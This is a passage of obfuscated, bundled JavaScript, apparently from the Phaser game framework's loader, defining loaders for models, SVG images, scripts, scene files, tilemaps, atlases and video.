_0x46ff8f), this['addFile'](_0x3ea34a['files']); return this; }), _0x5e6423['exports'] = _0x356f13; }, 0xa376: (_0x24748f, _0x5f3f4b, _0x218d16) => { var _0x20432e = _0x218d16(0x145db), _0x25ea10 = _0x218d16(0x12173), _0x1d8727 = _0x218d16(0x17534), _0xe928a0 = _0x218d16(0xa0fc), _0x4f39d0 = _0x218d16(0x673e), _0x29cd1c = _0x218d16(0x14c38), _0x3e7c34 = _0x218d16(0xf02d), _0xa2cd55 = _0x218d16(0x133b8), _0x4e7c8 = new _0x20432e({ 'Extends': _0x4f39d0, 'initialize': function (_0x512f9e, _0x2bbba7, _0x41dea2, _0x395541, _0x188f96, _0x16815a) { var _0x5d5127, _0x1cb7f0, _0x51391a = _0x512f9e['cacheManager']['obj']; if (_0xe928a0(_0x2bbba7)) { var _0xd8b9cb = _0x2bbba7; _0x2bbba7 = _0x1d8727(_0xd8b9cb, 'key'), _0x5d5127 = new _0xa2cd55(_0x512f9e, { 'key': _0x2bbba7, 'type': 'obj', 'cache': _0x51391a, 'url': _0x1d8727(_0xd8b9cb, 'url'), 'extension': _0x1d8727(_0xd8b9cb, 'extension', 'obj'), 'xhrSettings': _0x1d8727(_0xd8b9cb, 'xhrSettings'), 'config': { 'flipUV': _0x1d8727(_0xd8b9cb, 'flipUV', _0x188f96) } }), (_0x395541 = _0x1d8727(_0xd8b9cb, 'matURL')) && (_0x1cb7f0 = new _0xa2cd55(_0x512f9e, { 'key': _0x2bbba7, 'type': 'mat', 'cache': _0x51391a, 'url': _0x395541, 'extension': _0x1d8727(_0xd8b9cb, 'matExtension', 'mat'), 'xhrSettings': _0x1d8727(_0xd8b9cb, 'xhrSettings') })); } else _0x5d5127 = new _0xa2cd55(_0x512f9e, { 'key': _0x2bbba7, 'url': _0x41dea2, 'type': 'obj', 'cache': _0x51391a, 'extension': 'obj', 'xhrSettings': _0x16815a, 'config': { 'flipUV': _0x188f96 } }), _0x395541 && (_0x1cb7f0 = new _0xa2cd55(_0x512f9e, { 'key': _0x2bbba7, 'url': _0x395541, 'type': 'mat', 'cache': _0x51391a, 'extension': 'mat', 'xhrSettings': _0x16815a })); _0x4f39d0['call'](this, _0x512f9e, 'obj', _0x2bbba7, [_0x5d5127, _0x1cb7f0]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0xdb1758 = this['files'][0x0], _0x28c05a = this['files'][0x1], _0x45e3db = _0x29cd1c(_0xdb1758['data'], _0xdb1758['config']['flipUV']); _0x28c05a && (_0x45e3db['materials'] = _0x3e7c34(_0x28c05a['data'])), _0xdb1758['cache']['add'](_0xdb1758['key'], _0x45e3db), this['complete'] = !0x0; } } }); _0x25ea10['register']('obj', function (_0x420434, _0x13d742, _0x58698b, _0x39fb20, _0xe58e62) { var _0x272761; if (Array['isArray'](_0x420434)) { for (var _0x46e64b = 0x0; _0x46e64b < _0x420434['length']; _0x46e64b++)_0x272761 = new _0x4e7c8(this, _0x420434[_0x46e64b]), this['addFile'](_0x272761['files']); } else _0x272761 = new _0x4e7c8(this, _0x420434, _0x13d742, _0x58698b, _0x39fb20, _0xe58e62), this['addFile'](_0x272761['files']); return this; }), _0x24748f['exports'] = _0x4e7c8; }, 0xe4f2: (_0x3a4299, _0x13d63b, _0x4499f1) => { var _0x38b60b = _0x4499f1(0x145db), _0x160c1e = _0x4499f1(0x5d62), _0x39daa9 = _0x4499f1(0x12173), _0x5cb680 = _0x4499f1(0x206), _0xbaa896 = new _0x38b60b({ 'Extends': _0x5cb680, 'initialize': function (_0x36e721, _0x22d4bb, _0x4468bd, _0x330f1d, _0x177c63) { _0x5cb680['call'](this, _0x36e721, _0x22d4bb, _0x4468bd, _0x330f1d, _0x177c63), this['type'] = 'packfile'; }, 'onProcess': function () { if (this['state'] !== _0x160c1e['FILE_POPULATED'] && (this['state'] = _0x160c1e['FILE_PROCESSING'], this['data'] = JSON['parse'](this['xhrLoader']['responseText'])), this['data']['hasOwnProperty']('files') && this['config']) { var _0x45a08d = {}; _0x45a08d[this['config']] = this['data'], this['data'] = _0x45a08d; } this['loader']['addPack'](this['data'], this['config']), this['onProcessComplete'](); } }); _0x39daa9['register']('pack', function (_0x57ec1f, _0x57d06a, _0x4d3a08, _0x18ed9b) { if (Array['isArray'](_0x57ec1f)) { for (var _0x18723e = 0x0; _0x18723e < _0x57ec1f['length']; _0x18723e++)this['addFile'](new _0xbaa896(this, _0x57ec1f[_0x18723e])); } else this['addFile'](new _0xbaa896(this, _0x57ec1f, _0x57d06a, _0x18ed9b, _0x4d3a08)); return this; }), _0x3a4299['exports'] = _0xbaa896; }, 0xbf5c: (_0x99b7a7, _0x4b55f9, _0x38cdee) => { var _0xe7873 = _0x38cdee(0x145db), _0x413f70 = _0x38cdee(0x5d62), _0x56e8cb = _0x38cdee(0xa153), _0x3d2472 = _0x38cdee(0x12173), _0x3eddfd = _0x38cdee(0x17534), _0x5b7a33 = _0x38cdee(0xa0fc), _0x46bff4 = new _0xe7873({ 'Extends': _0x56e8cb, 'initialize': function (_0x336cfb, _0x1c716b, _0x3e79a9, _0x50368d, _0x2f7d23, _0x3fde66) { var _0x210acf = 'js'; if (_0x5b7a33(_0x1c716b)) { var _0x16049c = _0x1c716b; _0x1c716b = _0x3eddfd(_0x16049c, 'key'), _0x3e79a9 = _0x3eddfd(_0x16049c, 'url'), _0x3fde66 = _0x3eddfd(_0x16049c, 'xhrSettings'), _0x210acf = _0x3eddfd(_0x16049c, 'extension', _0x210acf), _0x50368d = _0x3eddfd(_0x16049c, 'start'), _0x2f7d23 = _0x3eddfd(_0x16049c, 'mapping'); } var _0x52816c = { 'type': 'plugin', 'cache': !0x1, 'extension': _0x210acf, 'responseType': 'text', 'key': _0x1c716b, 'url': _0x3e79a9, 'xhrSettings': _0x3fde66, 'config': { 'start': _0x50368d, 'mapping': _0x2f7d23 } }; _0x56e8cb['call'](this, _0x336cfb, _0x52816c), 'function' == typeof _0x3e79a9 && (this['data'] = _0x3e79a9, this['state'] = _0x413f70['FILE_POPULATED']); }, 'onProcess': function () { var _0x135de6 = this['loader']['systems']['plugins'], _0x84917b = this['config'], _0x2736a2 = _0x3eddfd(_0x84917b, 'start', !0x1), _0x4d8b66 = _0x3eddfd(_0x84917b, 'mapping', null); if (this['state'] === _0x413f70['FILE_POPULATED']) _0x135de6['install'](this['key'], this['data'], _0x2736a2, _0x4d8b66); else { this['state'] = _0x413f70['FILE_PROCESSING'], this['data'] = document['createElement']('script'), this['data']['language'] = 'javascript', this['data']['type'] = 'text/javascript', this['data']['defer'] = !0x1, this['data']['text'] = this['xhrLoader']['responseText'], document['head']['appendChild'](this['data']); var _0x1c5904 = _0x135de6['install'](this['key'], window[this['key']], _0x2736a2, _0x4d8b66); (_0x2736a2 || _0x4d8b66) && (this['loader']['systems'][_0x4d8b66] = _0x1c5904, this['loader']['scene'][_0x4d8b66] = _0x1c5904); } this['onProcessComplete'](); } }); _0x3d2472['register']('plugin', function (_0x3c07f8, _0x57a392, _0x1e7d35, _0xe9d03f, _0x52b284) { if (Array['isArray'](_0x3c07f8)) { for (var _0x4bff9e = 0x0; _0x4bff9e < _0x3c07f8['length']; _0x4bff9e++)this['addFile'](new _0x46bff4(this, _0x3c07f8[_0x4bff9e])); } else this['addFile'](new _0x46bff4(this, _0x3c07f8, _0x57a392, _0x1e7d35, _0xe9d03f, _0x52b284)); return this; }), _0x99b7a7['exports'] = _0x46bff4; }, 0x10745: (_0x17c679, _0x3774f4, _0x4aacd8) => { var _0x3e78c9 = _0x4aacd8(0x145db), _0x334e19 = _0x4aacd8(0x5d62), _0x24c16a = _0x4aacd8(0xa153), _0x1aae66 = _0x4aacd8(0x12173), _0x540e14 = _0x4aacd8(0x17534), _0x60f5a = _0x4aacd8(0xa0fc), _0xf24cfe = new _0x3e78c9({ 'Extends': _0x24c16a, 'initialize': function (_0x181c0d, _0x2cce9c, _0x584b2b, _0x52fa35, _0x29f75c) { var _0x39ae37 = 'svg'; if (_0x60f5a(_0x2cce9c)) { var _0x431ffc = _0x2cce9c; _0x2cce9c = _0x540e14(_0x431ffc, 'key'), _0x584b2b = _0x540e14(_0x431ffc, 'url'), _0x52fa35 = _0x540e14(_0x431ffc, 'svgConfig', {}), _0x29f75c = _0x540e14(_0x431ffc, 'xhrSettings'), _0x39ae37 = _0x540e14(_0x431ffc, 'extension', _0x39ae37); } var _0x31a754 = { 'type': 'svg', 'cache': _0x181c0d['textureManager'], 'extension': _0x39ae37, 'responseType': 'text', 'key': _0x2cce9c, 'url': _0x584b2b, 'xhrSettings': _0x29f75c, 'config': { 'width': _0x540e14(_0x52fa35, 'width'), 'height': _0x540e14(_0x52fa35, 'height'), 'scale': _0x540e14(_0x52fa35, 'scale') } }; _0x24c16a['call'](this, _0x181c0d, _0x31a754); }, 'onProcess': function () { this['state'] = _0x334e19['FILE_PROCESSING']; var _0x3fd521 = this['xhrLoader']['responseText'], _0x536b98 = [_0x3fd521], _0x369dac = this['config']['width'], _0x1883e8 = this['config']['height'], _0x576782 = this['config']['scale']; _0x1dea2f: if (_0x369dac && _0x1883e8 || _0x576782) { var _0x3cab86 = new DOMParser()['parseFromString'](_0x3fd521, 'text/xml')['getElementsByTagName']('svg')[0x0], _0x5d5fa3 = _0x3cab86['hasAttribute']('viewBox'), _0x5aee5d = parseFloat(_0x3cab86['getAttribute']('width')), _0x376fa2 = parseFloat(_0x3cab86['getAttribute']('height')); if (!_0x5d5fa3 && _0x5aee5d && _0x376fa2) _0x3cab86['setAttribute']('viewBox', '0\x20\x200\x20' + _0x5aee5d + '\x20' + _0x376fa2); else { if (_0x5d5fa3 && !_0x5aee5d && !_0x376fa2) { var _0x35d432 = _0x3cab86['getAttribute']('viewBox')['split'](/\s+|,/); _0x5aee5d = _0x35d432[0x2], _0x376fa2 = _0x35d432[0x3]; } } if (_0x576782) { if (!_0x5aee5d || !_0x376fa2) break _0x1dea2f; _0x369dac = _0x5aee5d * _0x576782, _0x1883e8 = _0x376fa2 * _0x576782; } _0x3cab86['setAttribute']('width', _0x369dac['toString']() + 'px'), _0x3cab86['setAttribute']('height', _0x1883e8['toString']() + 'px'), _0x536b98 = [new XMLSerializer()['serializeToString'](_0x3cab86)]; } try { var _0x3062d5 = new window['Blob'](_0x536b98, { 'type': 'image/svg+xml;charset=utf-8' }); } catch (_0x4a1f88) { return void this['onProcessError'](); } this['data'] = new Image(), this['data']['crossOrigin'] = this['crossOrigin']; var _0x2696a0 = this, _0xe7677 = !0x1; this['data']['onload'] = function () { _0xe7677 || _0x24c16a['revokeObjectURL'](_0x2696a0['data']), _0x2696a0['onProcessComplete'](); }, this['data']['onerror'] = function () { _0xe7677 ? _0x2696a0['onProcessError']() : (_0xe7677 = !0x0, _0x24c16a['revokeObjectURL'](_0x2696a0['data']), _0x2696a0['data']['src'] = 'data:image/svg+xml,' + encodeURIComponent(_0x536b98['join'](''))); }, _0x24c16a['createObjectURL'](this['data'], _0x3062d5, 'image/svg+xml'); }, 'addToCache': function () { this['cache']['addImage'](this['key'], this['data']); } }); _0x1aae66['register']('svg', function (_0x50861e, _0x37920d, _0xc5a4e9, _0x1c16ea) { if (Array['isArray'](_0x50861e)) { for (var _0x5128c8 = 0x0; _0x5128c8 < _0x50861e['length']; _0x5128c8++)this['addFile'](new _0xf24cfe(this, _0x50861e[_0x5128c8])); } else this['addFile'](new _0xf24cfe(this, _0x50861e, _0x37920d, _0xc5a4e9, _0x1c16ea)); return this; }), _0x17c679['exports'] = _0xf24cfe; }, 0x15967: (_0x5f08cf, _0x4a1cce, _0x1a6b65) => { var _0x1cc72f = _0x1a6b65(0x145db), _0x1976d3 = _0x1a6b65(0x5d62), _0x156316 = _0x1a6b65(0xa153), _0x22b671 = _0x1a6b65(0x12173), _0x161016 = _0x1a6b65(0x17534), _0x2c54a0 = _0x1a6b65(0xa0fc), _0x38df78 = new _0x1cc72f({ 'Extends': _0x156316, 'initialize': function (_0x2d2753, _0x4b3d93, _0x99edee, _0x115b14) { var _0x295622 = 'js'; if (_0x2c54a0(_0x4b3d93)) { var _0x392f81 = _0x4b3d93; _0x4b3d93 = _0x161016(_0x392f81, 'key'), _0x99edee = _0x161016(_0x392f81, 'url'), _0x115b14 = _0x161016(_0x392f81, 'xhrSettings'), _0x295622 = _0x161016(_0x392f81, 'extension', _0x295622); } var _0x1f33c6 = { 'type': 'text', 'extension': _0x295622, 'responseType': 'text', 'key': _0x4b3d93, 'url': _0x99edee, 'xhrSettings': _0x115b14 }; _0x156316['call'](this, _0x2d2753, _0x1f33c6); }, 'onProcess': function () { this['state'] = _0x1976d3['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); }, 'addToCache': function () { var _0x2159f0 = this['data']['concat']('(function(){\x0areturn\x20new\x20' + this['key'] + '();\x0a}).call(this);'), _0x3ea72c = eval; this['loader']['sceneManager']['add'](this['key'], _0x3ea72c(_0x2159f0)), this['complete'] = !0x0; } }); _0x22b671['register']('sceneFile', function (_0xf08e3c, _0x2eda93, _0x5714eb) { if (Array['isArray'](_0xf08e3c)) { for (var _0xb9979c = 0x0; _0xb9979c < _0xf08e3c['length']; _0xb9979c++)this['addFile'](new _0x38df78(this, _0xf08e3c[_0xb9979c])); } else this['addFile'](new _0x38df78(this, _0xf08e3c, _0x2eda93, _0x5714eb)); return this; }), _0x5f08cf['exports'] = _0x38df78; }, 0xddec: (_0xd950dc, _0x5bdc65, _0x1ea67d) => { var _0x1b6e0c = _0x1ea67d(0x145db), _0x34fa94 = _0x1ea67d(0x5d62), _0x13e80e = _0x1ea67d(0xa153), _0x1bd31f = _0x1ea67d(0x12173), _0xd3fcaf = _0x1ea67d(0x17534), _0x2dfd85 = _0x1ea67d(0xa0fc), _0x23eac5 = new _0x1b6e0c({ 'Extends': _0x13e80e, 'initialize': function (_0x2a2f4f, _0x26495e, _0x32340b, _0x60c1e2, _0x116cc7, _0x3b9d9e) { var _0x52b3d1 = 'js'; if (_0x2dfd85(_0x26495e)) { var _0x25a917 = _0x26495e; _0x26495e = _0xd3fcaf(_0x25a917, 'key'), _0x32340b = _0xd3fcaf(_0x25a917, 'url'), _0x3b9d9e = _0xd3fcaf(_0x25a917, 'xhrSettings'), _0x52b3d1 = _0xd3fcaf(_0x25a917, 'extension', _0x52b3d1), _0x60c1e2 = _0xd3fcaf(_0x25a917, 'systemKey'), _0x116cc7 = _0xd3fcaf(_0x25a917, 'sceneKey'); } var _0x350263 = { 'type': 'scenePlugin', 'cache': !0x1, 'extension': _0x52b3d1, 'responseType': 'text', 'key': _0x26495e, 'url': _0x32340b, 'xhrSettings': _0x3b9d9e, 'config': { 'systemKey': _0x60c1e2, 'sceneKey': _0x116cc7 } }; _0x13e80e['call'](this, _0x2a2f4f, _0x350263), 'function' == typeof _0x32340b && (this['data'] = _0x32340b, this['state'] = _0x34fa94['FILE_POPULATED']); }, 'onProcess': function () { var _0x5489b8 = this['loader']['systems']['plugins'], _0x3e3037 = this['config'], _0x1b6bc9 = this['key'], _0x114c2e = _0xd3fcaf(_0x3e3037, 'systemKey', _0x1b6bc9), _0x41e4cd = _0xd3fcaf(_0x3e3037, 'sceneKey', _0x1b6bc9); this['state'] === _0x34fa94['FILE_POPULATED'] ? _0x5489b8['installScenePlugin'](_0x114c2e, this['data'], _0x41e4cd, this['loader']['scene'], !0x0) : (this['state'] = _0x34fa94['FILE_PROCESSING'], this['data'] = document['createElement']('script'), this['data']['language'] = 'javascript', this['data']['type'] = 'text/javascript', this['data']['defer'] = !0x1, this['data']['text'] = this['xhrLoader']['responseText'], document['head']['appendChild'](this['data']), _0x5489b8['installScenePlugin'](_0x114c2e, window[this['key']], _0x41e4cd, this['loader']['scene'], !0x0)), this['onProcessComplete'](); } }); _0x1bd31f['register']('scenePlugin', function (_0x57bcd6, _0x3eb4d4, _0x25bd73, _0x1c994c, _0x323ca0) { if (Array['isArray'](_0x57bcd6)) { for (var _0x79166f = 0x0; _0x79166f < _0x57bcd6['length']; _0x79166f++)this['addFile'](new _0x23eac5(this, _0x57bcd6[_0x79166f])); } else this['addFile'](new _0x23eac5(this, _0x57bcd6, _0x3eb4d4, _0x25bd73, _0x1c994c, _0x323ca0)); return this; }), _0xd950dc['exports'] = _0x23eac5; }, 0x8618: (_0x255e56, _0x4af095, _0x150571) => { var _0x3743aa = _0x150571(0x145db), _0x47b9e9 = _0x150571(0x5d62), _0x541d4f = _0x150571(0xa153), _0x22423c = _0x150571(0x12173), _0x396f63 = _0x150571(0x17534), _0x4706c3 = _0x150571(0xa0fc), _0x21b97a = new _0x3743aa({ 'Extends': _0x541d4f, 'initialize': function (_0x450c84, _0x5c8635, _0x13ed9a, _0x30158e, _0x99f3ae) { var _0x5ea1c0 = 'js'; if (_0x4706c3(_0x5c8635)) { var _0x5a852f = _0x5c8635; _0x5c8635 = _0x396f63(_0x5a852f, 'key'), _0x13ed9a = _0x396f63(_0x5a852f, 'url'), _0x30158e = _0x396f63(_0x5a852f, 'type', 'script'), _0x99f3ae = _0x396f63(_0x5a852f, 'xhrSettings'), _0x5ea1c0 = _0x396f63(_0x5a852f, 'extension', _0x5ea1c0); } else void 0x0 === _0x30158e && (_0x30158e = 'script'); var _0x25a548 = { 'type': _0x30158e, 'cache': !0x1, 'extension': _0x5ea1c0, 'responseType': 'text', 'key': _0x5c8635, 'url': _0x13ed9a, 'xhrSettings': _0x99f3ae }; _0x541d4f['call'](this, _0x450c84, _0x25a548); }, 'onProcess': function () { this['state'] = _0x47b9e9['FILE_PROCESSING'], this['data'] = document['createElement']('script'), this['data']['language'] = 'javascript', this['data']['type'] = 'text/javascript', this['data']['defer'] = !0x1, this['data']['text'] = this['xhrLoader']['responseText'], document['head']['appendChild'](this['data']), this['onProcessComplete'](); } }); _0x22423c['register']('script', function (_0x53d7fd, _0x49933c, _0x229e88, _0x27fc89) { if (Array['isArray'](_0x53d7fd)) { for (var _0x438c63 = 0x0; _0x438c63 < _0x53d7fd['length']; _0x438c63++)this['addFile'](new _0x21b97a(this, _0x53d7fd[_0x438c63])); } else this['addFile'](new _0x21b97a(this, _0x53d7fd, _0x49933c, _0x229e88, _0x27fc89)); return this; }), _0x255e56['exports'] = _0x21b97a; }, 0x14c2b: (_0x2e8e75, _0x14bebe, _0x17008f) => { var _0x2d11a0 = _0x17008f(0x145db), _0x3e562c = _0x17008f(0x5d62), _0xe541d5 = _0x17008f(0x12173), _0x155e6c = _0x17008f(0x4c5e), _0x5298c4 = new _0x2d11a0({ 'Extends': _0x155e6c, 'initialize': function (_0x198dc2, _0x48793e, _0x243091, _0x20c7a7, _0x28dfb5) { _0x155e6c['call'](this, _0x198dc2, _0x48793e, _0x243091, _0x28dfb5, _0x20c7a7), this['type'] = 'spritesheet'; }, 'addToCache': function () { var _0x93f815 = this['linkFile']; _0x93f815 ? _0x93f815['state'] >= _0x3e562c['FILE_COMPLETE'] && ('normalMap' === this['type'] ? this['cache']['addSpriteSheet'](this['key'], _0x93f815['data'], this['config'], this['data']) : this['cache']['addSpriteSheet'](this['key'], this['data'], this['config'], _0x93f815['data'])) : this['cache']['addSpriteSheet'](this['key'], this['data'], this['config']); } }); _0xe541d5['register']('spritesheet', function (_0x3362d9, _0x121908, _0x8d1164, _0x5e132c) { if (Array['isArray'](_0x3362d9)) { for (var _0x15ff00 = 0x0; _0x15ff00 < _0x3362d9['length']; _0x15ff00++)this['addFile'](new _0x5298c4(this, _0x3362d9[_0x15ff00])); } else this['addFile'](new _0x5298c4(this, _0x3362d9, _0x121908, _0x8d1164, _0x5e132c)); return this; }), _0x2e8e75['exports'] = _0x5298c4; }, 0x133b8: (_0x445826, _0x178380, _0x375522) => { var _0x403abe = _0x375522(0x145db), _0x1e10f1 = _0x375522(0x5d62), _0x26fbe3 = _0x375522(0xa153), _0x5ee453 = _0x375522(0x12173), _0x5de61f = _0x375522(0x17534), _0x530bdb = _0x375522(0xa0fc), _0x1970ae = new _0x403abe({ 'Extends': _0x26fbe3, 'initialize': function (_0xf632e9, _0x4b7f84, _0x562cd8, _0x29fcd4) { var _0x5a08f9 = 'text', _0xd9ac79 = 'txt', _0x18876b = _0xf632e9['cacheManager']['text']; if (_0x530bdb(_0x4b7f84)) { var _0x2ef934 = _0x4b7f84; _0x4b7f84 = _0x5de61f(_0x2ef934, 'key'), _0x562cd8 = _0x5de61f(_0x2ef934, 'url'), _0x29fcd4 = _0x5de61f(_0x2ef934, 'xhrSettings'), _0xd9ac79 = _0x5de61f(_0x2ef934, 'extension', _0xd9ac79), _0x5a08f9 = _0x5de61f(_0x2ef934, 'type', _0x5a08f9), _0x18876b = _0x5de61f(_0x2ef934, 'cache', _0x18876b); } var _0x37f0df = { 'type': _0x5a08f9, 'cache': _0x18876b, 'extension': _0xd9ac79, 'responseType': 'text', 'key': _0x4b7f84, 'url': _0x562cd8, 'xhrSettings': _0x29fcd4 }; _0x26fbe3['call'](this, _0xf632e9, _0x37f0df); }, 'onProcess': function () { this['state'] = _0x1e10f1['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); } }); _0x5ee453['register']('text', function (_0x271714, _0x3e9159, _0x53f12b) { if (Array['isArray'](_0x271714)) { for (var _0x272a10 = 0x0; _0x272a10 < _0x271714['length']; _0x272a10++)this['addFile'](new _0x1970ae(this, _0x271714[_0x272a10])); } else this['addFile'](new _0x1970ae(this, _0x271714, _0x3e9159, _0x53f12b)); return this; }), _0x445826['exports'] = _0x1970ae; }, 0xc145: (_0x2c6571, _0x1b628c, _0x11f9b1) => { var _0xe4e999 = _0x11f9b1(0x145db), _0x43cd4d = _0x11f9b1(0x5d62), _0x312527 = _0x11f9b1(0xa153), _0xea6f70 = _0x11f9b1(0x12173), _0x94e160 = _0x11f9b1(0x17534), _0x22be2d = _0x11f9b1(0xa0fc), _0x1f8c35 = _0x11f9b1(0x139d5), _0x28c190 = new _0xe4e999({ 'Extends': _0x312527, 'initialize': function (_0x39ddf0, _0x49c88d, _0x269661, _0x4ec3d9) { var _0x47c669 = 'csv'; if (_0x22be2d(_0x49c88d)) { var _0x309963 = _0x49c88d; _0x49c88d = _0x94e160(_0x309963, 'key'), _0x269661 = _0x94e160(_0x309963, 'url'), _0x4ec3d9 = _0x94e160(_0x309963, 'xhrSettings'), _0x47c669 = _0x94e160(_0x309963, 'extension', _0x47c669); } var _0x4975f5 = { 'type': 'tilemapCSV', 'cache': _0x39ddf0['cacheManager']['tilemap'], 'extension': _0x47c669, 'responseType': 'text', 'key': _0x49c88d, 'url': _0x269661, 'xhrSettings': _0x4ec3d9 }; _0x312527['call'](this, _0x39ddf0, _0x4975f5), this['tilemapFormat'] = _0x1f8c35['CSV']; }, 'onProcess': function () { this['state'] = _0x43cd4d['FILE_PROCESSING'], this['data'] = this['xhrLoader']['responseText'], this['onProcessComplete'](); }, 'addToCache': function () { var _0x24a832 = { 'format': this['tilemapFormat'], 'data': this['data'] }; this['cache']['add'](this['key'], _0x24a832); } }); _0xea6f70['register']('tilemapCSV', function (_0x17e439, _0x56e137, _0x45fe91) { if (Array['isArray'](_0x17e439)) { for (var _0x542b9b = 0x0; _0x542b9b < _0x17e439['length']; _0x542b9b++)this['addFile'](new _0x28c190(this, _0x17e439[_0x542b9b])); } else this['addFile'](new _0x28c190(this, _0x17e439, _0x56e137, _0x45fe91)); return this; }), _0x2c6571['exports'] = _0x28c190; }, 0x9f67: (_0x5bfa9e, _0x4d3d87, _0x4976ff) => { var _0xf30a40 = _0x4976ff(0x145db), _0x470af6 = _0x4976ff(0x12173), _0x4c0c31 = _0x4976ff(0x206), _0x323de1 = _0x4976ff(0x139d5), _0x22e081 = new _0xf30a40({ 'Extends': _0x4c0c31, 'initialize': function (_0x2f2b2f, _0x2aa5c9, _0x27b810, _0x2d72c6) { _0x4c0c31['call'](this, _0x2f2b2f, _0x2aa5c9, _0x27b810, _0x2d72c6), this['type'] = 'tilemapJSON', this['cache'] = _0x2f2b2f['cacheManager']['tilemap']; }, 'addToCache': function () { var _0x5bbb58 = { 'format': _0x323de1['WELTMEISTER'], 'data': this['data'] }; this['cache']['add'](this['key'], _0x5bbb58); } }); _0x470af6['register']('tilemapImpact', function (_0x2f0aaa, _0x104f96, _0x4900f1) { if (Array['isArray'](_0x2f0aaa)) { for (var _0x5a0691 = 0x0; _0x5a0691 < _0x2f0aaa['length']; _0x5a0691++)this['addFile'](new _0x22e081(this, _0x2f0aaa[_0x5a0691])); } else this['addFile'](new _0x22e081(this, _0x2f0aaa, _0x104f96, _0x4900f1)); return this; }), _0x5bfa9e['exports'] = _0x22e081; }, 0xddc7: (_0x4e5390, _0x745fb8, _0x3dac34) => { var _0x2dc71b = _0x3dac34(0x145db), _0x101a64 = _0x3dac34(0x12173), _0x6f9f7d = _0x3dac34(0x206), _0x561d80 = _0x3dac34(0x139d5), _0xc7591b = new _0x2dc71b({ 'Extends': _0x6f9f7d, 'initialize': function (_0x2a9547, _0x3ac9f7, _0x2bb837, _0x492ce3) { _0x6f9f7d['call'](this, _0x2a9547, _0x3ac9f7, _0x2bb837, _0x492ce3), this['type'] = 'tilemapJSON', this['cache'] = _0x2a9547['cacheManager']['tilemap']; }, 'addToCache': function () { var _0x391b02 = { 'format': _0x561d80['TILED_JSON'], 'data': this['data'] }; this['cache']['add'](this['key'], _0x391b02); } }); _0x101a64['register']('tilemapTiledJSON', function (_0x21db02, _0x42a098, _0x11ae05) { if (Array['isArray'](_0x21db02)) { for (var _0x430cca = 0x0; _0x430cca < _0x21db02['length']; _0x430cca++)this['addFile'](new _0xc7591b(this, _0x21db02[_0x430cca])); } else this['addFile'](new _0xc7591b(this, _0x21db02, _0x42a098, _0x11ae05)); return this; }), _0x4e5390['exports'] = _0xc7591b; }, 0x64ab: (_0x3acb30, _0x7be58f, _0x3d8fd4) => { var _0x44383b = _0x3d8fd4(0x145db), _0x96e7c8 = _0x3d8fd4(0x12173), _0x41dc24 = _0x3d8fd4(0x17534), _0x4a5b08 = _0x3d8fd4(0x4c5e), _0x38dd36 = _0x3d8fd4(0xa0fc), _0x3330d7 = _0x3d8fd4(0x673e), _0x162fd8 = _0x3d8fd4(0x133b8), _0x56164e = new _0x44383b({ 'Extends': _0x3330d7, 'initialize': function (_0x1896ca, _0x173299, _0x5966be, _0x38ce00, _0x4d5c69, _0x518b5d) { var _0x1e1845, _0x252001; if (_0x38dd36(_0x173299)) { var _0x364499 = _0x173299; _0x173299 = _0x41dc24(_0x364499, 'key'), _0x1e1845 = new _0x4a5b08(_0x1896ca, { 'key': _0x173299, 'url': _0x41dc24(_0x364499, 'textureURL'), 'extension': _0x41dc24(_0x364499, 'textureExtension', 'png'), 'normalMap': _0x41dc24(_0x364499, 'normalMap'), 'xhrSettings': _0x41dc24(_0x364499, 'textureXhrSettings') }), _0x252001 = new _0x162fd8(_0x1896ca, { 'key': _0x173299, 'url': _0x41dc24(_0x364499, 'atlasURL'), 'extension': _0x41dc24(_0x364499, 'atlasExtension', 'txt'), 'xhrSettings': _0x41dc24(_0x364499, 'atlasXhrSettings') }); } else _0x1e1845 = new _0x4a5b08(_0x1896ca, _0x173299, _0x5966be, _0x4d5c69), _0x252001 = new _0x162fd8(_0x1896ca, _0x173299, _0x38ce00, _0x518b5d); _0x1e1845['linkFile'] ? _0x3330d7['call'](this, _0x1896ca, 'unityatlas', _0x173299, [_0x1e1845, _0x252001, _0x1e1845['linkFile']]) : _0x3330d7['call'](this, _0x1896ca, 'unityatlas', _0x173299, [_0x1e1845, _0x252001]); }, 'addToCache': function () { if (this['isReadyToProcess']()) { var _0x3704ea = this['files'][0x0], _0x207826 = this['files'][0x1], _0x5497a2 = this['files'][0x2] ? this['files'][0x2]['data'] : null; this['loader']['textureManager']['addUnityAtlas'](_0x3704ea['key'], _0x3704ea['data'], _0x207826['data'], _0x5497a2), this['complete'] = !0x0; } } }); _0x96e7c8['register']('unityAtlas', function (_0x48ef7e, _0x2ba9ec, _0x5cc075, _0x593b57, _0x558173) { var _0x53826e; if (Array['isArray'](_0x48ef7e)) { for (var _0x16616a = 0x0; _0x16616a < _0x48ef7e['length']; _0x16616a++)_0x53826e = new _0x56164e(this, _0x48ef7e[_0x16616a]), this['addFile'](_0x53826e['files']); } else _0x53826e = new _0x56164e(this, _0x48ef7e, _0x2ba9ec, _0x5cc075, _0x593b57, _0x558173), this['addFile'](_0x53826e['files']); return this; }), _0x3acb30['exports'] = _0x56164e; }, 0x83b8: (_0x134a6d, _0x33e46a, _0x45eea1) => { var _0x585f6e = _0x45eea1(0x145db), _0x1f2e14 = _0x45eea1(0x5d62), _0x1cd573 = _0x45eea1(0xa153), _0x166055 = _0x45eea1(0x12173), _0x246a41 = _0x45eea1(0x18034), _0x39017f = _0x45eea1(0x17534), _0x58490e = _0x45eea1(0xa0fc), _0x2f7bb0 = new _0x585f6e({ 'Extends': _0x1cd573, 'initialize': function (_0x2dc9b1, _0x2c45b5, _0x31f363, _0x361a96) { if (void 0x0 === _0x361a96 && (_0x361a96 = !0x1), _0x58490e(_0x2c45b5)) { var _0x3dfdab = _0x2c45b5; _0x2c45b5 = _0x39017f(_0x3dfdab, 'key'), _0x31f363 = _0x39017f(_0x3dfdab, 'url', []), _0x361a96 = _0x39017f(_0x3dfdab, 'noAudio', !0x1); } var _0x356041 = _0x2dc9b1['systems']['game']['device']['video']['getVideoURL'](_0x31f363), _0x3cd492 = { 'type': 'video', 'cache': _0x2dc9b1['cacheManager']['video'], 'extension': _0x356041['type'], 'key': _0x2c45b5, 'url': _0x356041['url'], 'config': { 'noAudio': _0x361a96 } }; _0x1cd573['call'](this, _0x2dc9b1, _0x3cd492); }, 'onProcess': function () { this['data'] = { 'url': this['src'], 'noAudio': this['config']['noAudio'], 